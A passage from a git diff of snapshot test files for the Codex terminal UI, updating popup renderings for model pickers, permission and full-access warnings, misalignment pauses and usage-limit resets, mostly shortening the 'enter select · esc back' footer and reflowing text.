edit any file on your computer + and run commands with network, + without your approval. Exercise + [… 9 lines] +› 1. Yes, continue anyway + 2. Cancel + enter select · esc back + +specialty=Some("cyber") 40x16 + + Enable full access? + + When Codex runs with full access, it + can edit any file on your computer + and run commands with network, + without your approval. + + Cyber models carry a higher risk of + dangerous actions. Ensure proper + safeguards are in place before + granting full access. We strongly + [… 13 lines] +› 1. Yes, continue anyway + 2. Cancel + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__custom_model_display_name_all_models.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__custom_model_display_name_all_models.snap index 42180c5300..509a75dd8a 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__custom_model_display_name_all_models.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__custom_model_display_name_all_models.snap @@ -1,9 +1,11 @@ --- source: tui/src/chatwidget/tests/model_display_name_tests.rs +assertion_line: 40 expression: "render_bottom_popup(&chat, 80)" --- Select Model and Effort + › 1. GPT-5.6 Luna (current) Custom provider model - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__custom_model_display_name_quick_picker.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__custom_model_display_name_quick_picker.snap index 0ad44a98ed..8ae33f16b5 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__custom_model_display_name_quick_picker.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__custom_model_display_name_quick_picker.snap @@ -1,12 +1,14 @@ --- source: tui/src/chatwidget/tests/model_display_name_tests.rs +assertion_line: 33 expression: "render_bottom_popup(&chat, 80)" --- Select Model Pick a quick auto mode or browse all models. - 1. Auto Fast Custom provider model -› 2. All models (current) Choose a specific model and reasoning level - (current: GPT-5.6 Luna) - Press enter to confirm or esc to go back + 1. Auto Fast Custom provider model +› 2. All models (current) Choose a specific model and reasoning level (current: + GPT-5.6 Luna) + + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__custom_model_display_name_reasoning.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__custom_model_display_name_reasoning.snap index 3cdae89d3b..eecbf6e49d 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__custom_model_display_name_reasoning.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__custom_model_display_name_reasoning.snap @@ -1,10 +1,12 @@ --- source: tui/src/chatwidget/tests/model_display_name_tests.rs +assertion_line: 49 expression: "render_bottom_popup(&chat, 80)" --- Select Reasoning Level for GPT-5.6 Luna + 1. Low Quick answers › 2. High (default) (current) Deeper reasoning - enter to set as default · s for this session · esc to go back + enter default · s session · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__full_access_confirmation_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__full_access_confirmation_popup.snap index c954ceec43..f151f3adf4 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__full_access_confirmation_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__full_access_confirmation_popup.snap @@ -8,7 +8,8 @@ expression: popup enabling full access. This significantly increases the risk of data loss, leaks, or unexpected behavior. + › 1. Yes, continue anyway Apply full access for this session 2. Cancel Go back without enabling full access - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_write_stdin_denials_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_write_stdin_denials_popup.snap index a6d9bce6d9..81aff033c8 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_write_stdin_denials_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_write_stdin_denials_popup.snap @@ -6,7 +6,8 @@ expression: "render_bottom_popup(&chat, 110)" Select a denied action to approve. + Action Rationale › send input to terminal 42: "confirm\n" Would confirm a destructive operation. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__memories_enable_prompt.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__memories_enable_prompt.snap index 100dec9fd8..48c3b2e1e5 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__memories_enable_prompt.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__memories_enable_prompt.snap @@ -5,9 +5,9 @@ expression: "render_bottom_popup(&chat, 80)" Enable memories? Memories are disabled in this TUI session. -› 1. Yes, enable Save on the server for new threads. This thread is - unchanged. + +› 1. Yes, enable Save on the server for new threads. This thread is unchanged. 2. Not now Keep memories disabled. Learn more: https://developers.openai.com/codex/memories - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__misalignment_policy_violation.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__misalignment_policy_violation.snap index 81a78b5188..5de2938c6e 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__misalignment_policy_violation.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__misalignment_policy_violation.snap @@ -6,5 +6,6 @@ expression: popup We couldn’t confirm the agent was acting safely and following your instructions. To continue working, start or resume another chat. + › 1. New chat 2. Resume another chat diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__misalignment_policy_violation_narrow.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__misalignment_policy_violation_narrow.snap index ace99debe5..6cff02102a 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__misalignment_policy_violation_narrow.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__misalignment_policy_violation_narrow.snap @@ -8,5 +8,6 @@ expression: "render_bottom_popup(&chat, 38)" instructions. To continue working, start or resume another chat. + › 1. New chat 2. Resume another chat diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__misalignment_policy_violation_remote.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__misalignment_policy_violation_remote.snap index c172560a76..cf646d12e9 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__misalignment_policy_violation_remote.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__misalignment_policy_violation_remote.snap @@ -6,6 +6,7 @@ expression: "render_bottom_popup(&chat, 80)" We couldn’t confirm the agent was acting safely and following your instructions. To continue working, start or resume another chat. + › 1. New chat 2. Agent command center 3. Resume another chat diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__misalignment_review_narrow.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__misalignment_review_narrow.snap index c34d997f51..5a56080db4 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__misalignment_review_narrow.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__misalignment_review_narrow.snap @@ -1,10 +1,9 @@ --- source: tui/src/chatwidget/tests/misalignment_policy_tests.rs -assertion_line: 157 expression: "render_bottom_popup(&chat, 38)" --- Chat paused as a precaution -› 1. Acknowledge findings and - continue + +› 1. Acknowledge findings and continue 2. Back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_advanced_reasoning_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_advanced_reasoning_selection_popup.snap index 487f30e956..3dea3eae4f 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_advanced_reasoning_selection_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_advanced_reasoning_selection_popup.snap @@ -5,8 +5,9 @@ expression: popup Advanced Reasoning ⚠ Consumes usage limits faster + 1. Max For difficult problems when quality matters more than speed · higher usage › 2. Ultra (current) For demanding work using multiple agents · highest usage - enter to apply · s for this session · esc to go back + enter apply · s session · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_filters_hidden_models.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_filters_hidden_models.snap index 127e1ef1b7..4401eb62ed 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_filters_hidden_models.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_filters_hidden_models.snap @@ -4,6 +4,7 @@ expression: popup --- Select Model and Effort + › 1. test-visible-model (current) test-visible-model description - enter to set as default · s for this session · esc to go back + enter default · s session · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_refresh_preserves_highlight.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_refresh_preserves_highlight.snap index 2042e97bb1..07824ae245 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_refresh_preserves_highlight.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_refresh_preserves_highlight.snap @@ -1,12 +1,14 @@ --- source: tui/src/chatwidget/tests/popups_and_settings.rs +assertion_line: 3465 expression: "render_bottom_popup(&chat, 80)" --- Select Model and Effort + › 1. Renamed model Balanced agentic coding model for everyday work. - 2. Shared display name (current) Frontier model for complex coding, - research, and real-world work. + 2. Shared display name (current) Frontier model for complex coding, research, + and real-world work. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_refreshes_auto_models.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_refreshes_auto_models.snap index 9dbf5a4c37..31485205ed 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_refreshes_auto_models.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_refreshes_auto_models.snap @@ -1,12 +1,14 @@ --- source: tui/src/chatwidget/tests/popups_and_settings.rs +assertion_line: 3393 expression: "render_bottom_popup(&chat, 80)" --- Select Model Pick a quick auto mode or browse all models. - 1. GPT-5.5 Auto model -› 2. All models (current) Choose a specific model and reasoning level - (current: GPT-5.5) - Press enter to confirm or esc to go back + 1. GPT-5.5 Auto model +› 2. All models (current) Choose a specific model and reasoning level (current: + GPT-5.5) + + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup.snap index 4a90e3a5f6..4c0488b4ae 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup.snap @@ -4,6 +4,7 @@ expression: popup --- Select Reasoning Level for GPT-5.5 + 1. Low Fast responses with lighter reasoning 2. Medium (default) Balances speed and reasoning depth for everyday tasks › 3. High (current) Greater reasoning depth for complex problems @@ -11,4 +12,4 @@ expression: popup 5. Persistent Continue working until put to sleep 6. More reasoning… Max and Ultra consume usage limits faster - enter to set as default · s for this session · esc to go back + enter default · s session · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_selection_popup.snap index f9a4b15683..b91c8d590d 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_selection_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_selection_popup.snap @@ -1,15 +1,16 @@ --- source: tui/src/chatwidget/tests/popups_and_settings.rs -expression: "render_bottom_popup(&chat, 80)" +assertion_line: 3309 +expression: popup --- Select Model and Effort - 1. GPT-6-Astra (default) Our most capable model for complex, demanding - work. + + 1. GPT-6-Astra (default) Our most capable model for complex, demanding work. 2. GPT-5.6-Sol Latest frontier agentic coding model. 3. GPT-5.6-Terra Balanced agentic coding model for everyday work. 4. GPT-5.6-Luna Fast and affordable agentic coding model. › 5. GPT-5.5 (current) Frontier model for complex coding, research, and real-world work. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__multi_agent_enable_prompt.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__multi_agent_enable_prompt.snap index dcf2d83f72..7008bc9d81 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__multi_agent_enable_prompt.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__multi_agent_enable_prompt.snap @@ -5,8 +5,8 @@ expression: "render_bottom_popup(&chat, 80)" Enable subagents? Subagents are disabled in this TUI session. -› 1. Yes, enable Save on the server for new threads. This thread is - unchanged. + +› 1. Yes, enable Save on the server for new threads. This thread is unchanged. 2. Not now Keep subagents disabled. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permission_discovery_empty.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permission_discovery_empty.snap index a685885463..de63f90840 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permission_discovery_empty.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permission_discovery_empty.snap @@ -5,7 +5,8 @@ expression: "render_bottom_popup(&chat, 100)" Update Model Permissions No permission profiles returned by the server. + › current-profile (current) (disabled) Current permission profile. (disabled: Not available on this server.) - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permission_discovery_failure.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permission_discovery_failure.snap index e1ceadaf84..542f383ef4 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permission_discovery_failure.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permission_discovery_failure.snap @@ -5,6 +5,7 @@ expression: "render_bottom_popup(&chat, 80)" Update Model Permissions Failed to load permissions: disconnected + › 1. Retry - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permission_discovery_loading.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permission_discovery_loading.snap index 8de53e84f7..e93f9e093e 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permission_discovery_loading.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permission_discovery_loading.snap @@ -4,6 +4,7 @@ expression: "render_bottom_popup(&chat, 80)" --- Update Model Permissions + › Loading permission profiles… - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permission_discovery_remote.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permission_discovery_remote.snap index 5b4e7562fe..69d64d57d3 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permission_discovery_remote.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permission_discovery_remote.snap @@ -1,10 +1,10 @@ --- source: tui/src/chatwidget/tests/permissions.rs -assertion_line: 46 expression: "render_bottom_popup(&chat, 110)" --- Update Model Permissions + › 1. Ask for approval (current) Codex can read and edit files in the current workspace, and run commands. Approval is required to access the internet or edit other files. Approve for me (disabled) Only ask for actions detected as potentially unsafe. (disabled: Disabled by @@ -16,4 +16,4 @@ expression: "render_bottom_popup(&chat, 110)" files or access the internet. (disabled: Disabled by requirements.) 2. server-only Description from the connected server. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup.snap index c64088b38a..f76538c969 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup.snap @@ -4,8 +4,9 @@ expression: popup --- Implement this plan? + › 1. Yes, implement this plan Switch to Default and start coding. 2. Yes, clear context and implement Fresh thread with this plan. 3. No, stay in Plan mode Continue planning with the model. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup_context_usage.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup_context_usage.snap index 4b8ae0099a..a510080946 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup_context_usage.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup_context_usage.snap @@ -4,8 +4,9 @@ expression: popup --- Implement this plan? + › 1. Yes, implement this plan Switch to Default and start coding. 2. Yes, clear context and implement Fresh thread. Context: 89% used. 3. No, stay in Plan mode Continue planning with the model. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup_no_selected.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup_no_selected.snap index a24ce666d8..fa90ed5996 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup_no_selected.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup_no_selected.snap @@ -4,8 +4,9 @@ expression: popup --- Implement this plan? + 1. Yes, implement this plan Switch to Default and start coding. › 2. Yes, clear context and implement Fresh thread with this plan. 3. No, stay in Plan mode Continue planning with the model. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__profile_permissions_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__profile_permissions_selection_popup.snap index 5ad5481590..a10cbb8250 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__profile_permissions_selection_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__profile_permissions_selection_popup.snap @@ -4,17 +4,18 @@ expression: "render_bottom_popup(&chat, 80)" --- Update Model Permissions + › 1. Ask for approval (current) Codex can read and edit files in the current workspace, and run commands. Approval is required to access the internet or edit other files. 2. Approve for me Only ask for actions detected as potentially unsafe. - 3. Full Access Codex can edit files outside this workspace - and access the internet without asking for + 3. Full Access Codex can edit files outside this workspace and + access the internet without asking for approval. Exercise caution when using. - 4. Read Only Codex can read files in the current - workspace. Approval is required to edit files - or access the internet. + 4. Read Only Codex can read files in the current workspace. + Approval is required to edit files or access + the internet. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__profile_permissions_selection_popup_with_custom_profiles.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__profile_permissions_selection_popup_with_custom_profiles.snap index 008669d3d3..149306e70c 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__profile_permissions_selection_popup_with_custom_profiles.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__profile_permissions_selection_popup_with_custom_profiles.snap @@ -4,6 +4,7 @@ expression: "render_bottom_popup(&chat, 80)" --- Update Model Permissions + 1. Ask for approval Codex can read and edit files in the current workspace, and run commands. Approval is required to access the internet or edit other files. @@ -19,4 +20,4 @@ expression: "render_bottom_popup(&chat, 80)" web-enabled (disabled) Workspace profile with network access. (disabled: Disabled by requirements.) - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__profile_permissions_selection_popup_with_disallowed_full_access.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__profile_permissions_selection_popup_with_disallowed_full_access.snap index 1d2a74e956..807c2b2321 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__profile_permissions_selection_popup_with_disallowed_full_access.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__profile_permissions_selection_popup_with_disallowed_full_access.snap @@ -4,6 +4,7 @@ expression: "render_bottom_popup(&chat, 80)" --- Update Model Permissions + 1. Ask for approval Codex can read and edit files in the current workspace, and run commands. Approval is required to access the internet or edit other files. @@ -11,10 +12,10 @@ expression: "render_bottom_popup(&chat, 80)" unsafe. Full Access (disabled) Codex can edit files outside this workspace and access the internet without asking for approval. - Exercise caution when using. (disabled: Disabled - by requirements.) + Exercise caution when using. (disabled: Disabled by + requirements.) › 3. Read Only (current) Codex can read files in the current workspace. Approval is required to edit files or access the internet. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_reset_confirmation.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_reset_confirmation.snap index a5b303273f..496e28c694 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_reset_confirmation.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_reset_confirmation.snap @@ -5,7 +5,8 @@ expression: "render_bottom_popup(&chat, 80)" Use this reset? Full reset (Weekly + 5 hr) · Expires 09:39 on 18 Jun 2026. + 1. Yes, use reset Reset your weekly and 5-hour usage limits. › 2. No, go back Choose a different reset. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_reset_picker_narrow.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_reset_picker_narrow.snap index ccfcbf4677..3544045950 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_reset_picker_narrow.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_reset_picker_narrow.snap @@ -1,13 +1,15 @@ --- source: tui/src/chatwidget/tests/usage.rs +assertion_line: 429 expression: "render_bottom_popup(&chat, 44)" --- Usage limit resets 2 usage limit resets available. + › 1. Full reset Expires 09:39 on 18 Jun 2026. 2. Full reset Does not expire. 3. Cancel - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_reset_popup_states.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_reset_popup_states.snap index 9f92c0674f..5404de5977 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_reset_popup_states.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_reset_popup_states.snap @@ -1,73 +1,84 @@ --- source: tui/src/chatwidget/tests/usage.rs +assertion_line: 409 expression: "states.join(\"\\n---\\n\")" --- Usage limit resets Checking your available resets... + › Loading... - Press enter to confirm or esc to go back + enter select · esc back --- Usage limit resets 2 usage limit resets available. + › 1. Full reset (Weekly + 5 hr) Expires 09:39 on 18 Jun 2026. 2. Full reset (Weekly + 5 hr) Expires 08:59 on 27 Jun 2026. 3. Cancel - Press enter to confirm or esc to go back + enter select · esc back --- Usage limit resets You don't have any usage limit resets available. + › 1. Close - Press enter to confirm or esc to go back + enter select · esc back --- Usage limit resets Couldn't load usage limit resets. Please try again. + › 1. Try again 2. Close - Press enter to confirm or esc to go back + enter select · esc back --- Usage limit resets Resetting your usage... + › Using a reset... --- Usage limit resets Couldn't reset usage. Please try again. + › 1. Try again 2. Close - Press enter to confirm or esc to go back + enter select · esc back --- Usage limit resets Your usage does not need a reset right now. + › 1. Close - Press enter to confirm or esc to go back + enter select · esc back --- Usage limit resets No usage limit resets are available. + › 1. Close - Press enter to confirm or esc to go back + enter select · esc back --- Usage limit resets Usage reset. Checking your remaining resets... + › Refreshing... --- Usage limit resets Usage reset. You have 1 usage limit reset left. + › 1. Close - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_switch_prompt_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_switch_prompt_popup.snap index 9281a3e561..33e4ec7d4c 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_switch_prompt_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_switch_prompt_popup.snap @@ -5,10 +5,11 @@ expression: popup Approaching rate limits Switch to gpt-5.6-luna for lower credit usage? + › 1. Switch to gpt-5.6-luna Fast and affordable agentic coding model. 2. Keep current model 3. Keep current model (never show again) Hide future rate limit reminders about switching models. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__resume_paused_goal_prompt.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__resume_paused_goal_prompt.snap index 704945c4db..54af7039c1 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__resume_paused_goal_prompt.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__resume_paused_goal_prompt.snap @@ -5,7 +5,8 @@ expression: "render_bottom_popup(&chat, 100)" Resume paused goal? Goal: Keep improving the bare goal command until it feels calm and useful. + › 1. Resume goal Mark it active and continue when idle 2. Leave paused Keep it paused; use /goal resume later - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_during_mcp_startup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_during_mcp_startup.snap index a5906d4e94..4d5598604f 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_during_mcp_startup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_during_mcp_startup.snap @@ -1,12 +1,13 @@ --- source: tui/src/chatwidget/tests/mcp_startup.rs -expression: render_bottom_popup(&chat, 80) +expression: "render_bottom_popup(&chat, 80)" --- Select a review preset + › 1. Review against a base branch (PR Style) 2. Review uncommitted changes 3. Review a commit 4. Custom review instructions - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_retry_confirmation.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_retry_confirmation.snap index 70110fcbd8..d160632e4b 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_retry_confirmation.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_retry_confirmation.snap @@ -10,5 +10,6 @@ expression: "render_bottom_popup(&chat, 80)" Your message will be sent again using Faster Model, which may be less capable on complex tasks. + › 1. Keep waiting 2. Stop and retry diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_retry_confirmation_narrow.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_retry_confirmation_narrow.snap index 55b6541c77..94fa472e5c 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_retry_confirmation_narrow.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_retry_confirmation_narrow.snap @@ -13,5 +13,6 @@ expression: "render_bottom_popup(&chat, 40)" using Faster Model, which may be less capable on complex tasks. + › 1. Keep waiting 2. Stop and retry diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_retry_prompt.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_retry_prompt.snap index 54c6ee4a9f..e5cbe33b65 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_retry_prompt.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_retry_prompt.snap @@ -6,6 